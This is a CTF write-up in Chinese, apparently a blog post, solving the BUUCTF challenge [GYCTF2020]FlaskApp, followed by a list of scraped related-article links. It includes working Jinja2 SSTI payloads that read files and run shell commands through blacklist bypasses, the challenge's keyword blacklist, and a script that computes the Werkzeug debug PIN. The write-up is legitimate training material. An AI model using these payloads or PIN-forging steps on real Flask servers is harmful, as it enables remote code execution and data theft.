Flask+SSTI的新火花

记一次buu刷题记和回顾祥云杯被虐出屎的经历。题目:[GYCTF2020]FlaskApp

一 题目初见

朴实无华的页面,一个base64的小程序页面

看到有提示。

我就想到了可能是flask的失败报错界面和pin码的获取(来源祥云杯的虐后感)

二 开始解题

看到这里就不用多解释了,输入一个非法的字符串会自动跳转到这里,我们接着思路,可以在这里查看源码。

可以看到是将解密之后的字符串直接输出到页面上,不用说SSTI安排上。

触发了waf。大概流程就是,在加密页面将注入的内容变成base64,再解密的解密进行解密。至于waf嘛,没有源代码,只能一个一个的尝试。注意python是3.8.7的版本。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

这里借用答案的一个payload,直接进行读取文件。看到waf函数

def waf(str):
black_list = ["flag","os","system","popen","import","eval","chr","request",
"subprocess","commands","socket","hex","base64","*","?"]
for x in black_list :
if x in str.lower() :
return 1

一看凉了,没有命令执行了。当然不可能不可以命令执行的,python可是最骚的语言。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('app.py','r').read() }}{% endif %}{% endfor %}

只有进行文件读取,但是flag这个文件不知道文件名字,就只能采取获取pin码在这里进行任意python代码执行。

要生成pin码,我们需要以下几个信息

(1)flask所登录的用户名。可以通过读取/etc/password知道 用户为flaskweb
(2) modname 一般不变就是flask.app
(3)getattr(app, “name”, app.class.name)。python该值一般为Flask ,值一般不变
(4)flask库下app.py的绝对路径。在报错信息中可以获取此值为: /usr/local/lib/python3.7/site-packages/flask/app.py
(5)当前网络的mac地址的十进制数。通过文件/sys/class/net/eth0/address读取。
(6)docker机器id对于非docker机每一个机器都会有自已唯一的id,linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_i,有的系统没有这两个文件。对于docker机则读取/proc/self/cgroup,其中第一行的/docker/字符串后面的内容作为机器的id,

payload就自己构造吧,放上收藏已久的秘密小脚本跑就行了。

import hashlib
from itertools import chain
probably_public_bits = [
'flaskweb'# username
'flask.app',# modname
'Flask',# getattr(app, '__name__', getattr(app.__class__, '__name__'))
'/usr/local/lib/python3.7/site-packages/flask/app.py' # getattr(mod, '__file__', None),
] private_bits = [
'2485410388611',# str(uuid.getnode()), /sys/class/net/ens33/address
'310e09efcc43ceb10e426a0ffc99add5c651575fe93627e6019400d4520272ed'# get_machine_id(), /etc/machine-id
] h = hashlib.md5()
for bit in chain(probably_public_bits, private_bits):
if not bit:
continue
if isinstance(bit, str):
bit = bit.encode('utf-8')
h.update(bit)
h.update(b'cookiesalt') cookie_name = '__wzd' + h.hexdigest()[:20] num = None
if num is None:
h.update(b'pinsalt')
num = ('%09d' % int(h.hexdigest(), 16))[:9] rv =None
if rv is None:
for group_size in 5, 4, 3:
if len(num) % group_size == 0:
rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')
for x in range(0, len(num), group_size))
break
else:
rv = num print(rv)

题目完结。

三 非预期解

首先我们可以看到这个waf实在是太废物了,等于没有。字符串拼接的方法,字符串倒置的方法都可以对他进行绕过,辣鸡。

{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].open('txt.galf_eht_si_siht/'[::-1],'r').read() }}{% endif %}{% endfor %}

{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}   {% for b in c.__init__.__globals__.values() %}   {% if b.__class__ == {}.__class__ %}     {% if 'eva'+'l' in b.keys() %}       {{ b['eva'+'l']('__impor'+'t__'+'("o'+'s")'+'.pope'+'n'+'("cat /this_is_the_fl'+'ag.txt").read()') }}     {% endif %}   {% endif %}   {% endfor %} {% endif %} {% endfor %}

Flask+pin的更多相关文章

  1. Flask SSTI利用方式的探索

    Flask SSTI利用方式的探索 一.SSTI简介&环境搭建 ​ 一个统一风格的站点,其大多数页面样式都是一致的,只是每个页面显示的内容各不相同.要是所有的逻辑都放在前端进行,无疑会影响响应 ...

  2. flask的debug模式下,网页输入pin码进行调试

    网站后端Python+Flask .FLASK调试模式之开启DEBUG与PIN使用? 自动加载: # 方式一 1 2 if __name__ == '__main__':     app.run(ho ...

  3. Flask debug 模式 PIN 码生成机制安全性研究笔记

    Flask debug 模式 PIN 码生成机制安全性研究笔记 0x00 前言 前几天我整理了一个笔记:Flask开启debug模式等于给黑客留了后门,就Flask在生产网络中开启debug模式可能产 ...

  4. 无线安全专题_破解篇02--kali破解pin码

    最近项目有点紧,所以本应该上周发的文章,拖到了本周三,在此说声抱歉.无线安全专题,我打算系统地写六个部分,分别为破解篇,攻击篇,欺骗篇,路由篇,移动篇和蓝牙篇,当然在发布的过程中,可能还会掺杂着发布f ...

  5. 树莓派安装FLASK服务;并在端网页读取 GPIO状态和系统时间

    做过一些物联网的作品:因为不想一直做APP来控制,因为不能每个人都去下载你自己做的APP,浏览器大家都是有的:那么每个人通过浏览器WEB来访问我们服务器,岂不是很简单和方便,采用flask+pytho ...

  6. 用尽洪荒之力学习Flask源码

    WSGIapp.run()werkzeug@app.route('/')ContextLocalLocalStackLocalProxyContext CreateStack pushStack po ...

  7. FLASK 使用方法

    Flask是一个Python编写的Web 微框架,让我们可以使用Python语言快速实现一个网站或Web服务.本文参考自Flask官方文档,大部分代码引用自官方文档. 安装Flask 首先我们来安装F ...

  8. 【Flask】Flask学习笔记(一) 应用基本结构

    初始化 使用前必须创建一个应用实例 from flask import Flask app = Flask(__name__) 路由和视图函数 请求流程 客户端(web浏览器)-->  web服 ...

  9. 学习Flask框架

      # -*- encoding: utf-8 -*- #导包 from flask import Flask #建立flask对象 app = Flask(__name__) #使用flask路由器 ...

随机推荐

  1. 安卓 Android Studio 下载

    http://www.android-studio.org/    下载地址 https://blog.csdn.net/qq_41976613/article/details/91432304    ...

  2. Linux杂谈: gcc对结构体大小的默认处理方式

    1. 发现问题 最近在编写代码过程中发现,对一个结构体进行 sizeof 操作时,有时候大小是填充过的,有时候又没有填充. 那么,如果在代码中没有显示的指定要求编译器进行对齐时,gcc的默认处理是怎样 ...

  3. Python读写EXCEL文件常用方法大全

    前言 python读写excel的方式有很多,不同的模块在读写的讲法上稍有区别,这里我主要介绍几个常用的方式. 用xlrd和xlwt进行excel读写: 用openpyxl进行excel读写: 用pa ...

  4. cmd.exe解释器漏洞

    安全研究员Julian Horoszkiewicz发现了cmd.exe命令行解释器中的漏洞,该漏洞允许执行任意命令. 在寻找新的攻击媒介以允许Windows中注入命令时,Khoroshkevich发现 ...

  5. 【英雄帖】FreeRedis 邀请您一起优化项目。

    嘿!各位!自 FreeRedis 开库以来,相继出现了很多贡献者,我们正在对 FreeRedis 的各功能模块做优化,这并不意味着现版的 FreeRedis 有问题,我们只是希望在某些方面做得更好.如 ...

  6. 闭关修炼180天--手写IOC和AOP(xml篇)

    闭关修炼180天--手写IOC和AOP(xml篇) 帝莘 首先先分享一波思维导图,涵盖了一些Spring的知识点,当然这里并不全面,后期我会持续更新知识点. 在手写实现IOC和AOP之前(也就是打造一 ...

  7. P2240 【深基12.例1】部分背包问题

    P2240 [深基12.例1]部分背包问题 题目描述 阿里巴巴走进了装满宝藏的藏宝洞.藏宝洞里面有 N(N \le 100)N(N≤100) 堆金币,第 ii 堆金币的总重量和总价值分别是 m_i,v ...

  8. python基本输入与输出

    内置函数print()用于输出信息到标准控制台或指定文件,语法格式为: print(value1,value2,... , sep=' ', end='\n', file=sys.stdout, fl ...

  9. Git 是如何存储文件的

    01.存储方式 Git 从核心上来看不过是简单地存储键值对(key-value).它允许插入任意类型的内容,并会返回一个键值,通过该键值可以在任何时候再取出该内容. Git 存储数据内容的方式,为每份 ...

  10. 查看权限详情 将部门大类单据整合,将子类单据id去重合并

    /** * 查看权限详情 * @param id 部门id * @return */ @GetMapping("getListInfo") public R getDetail(S ...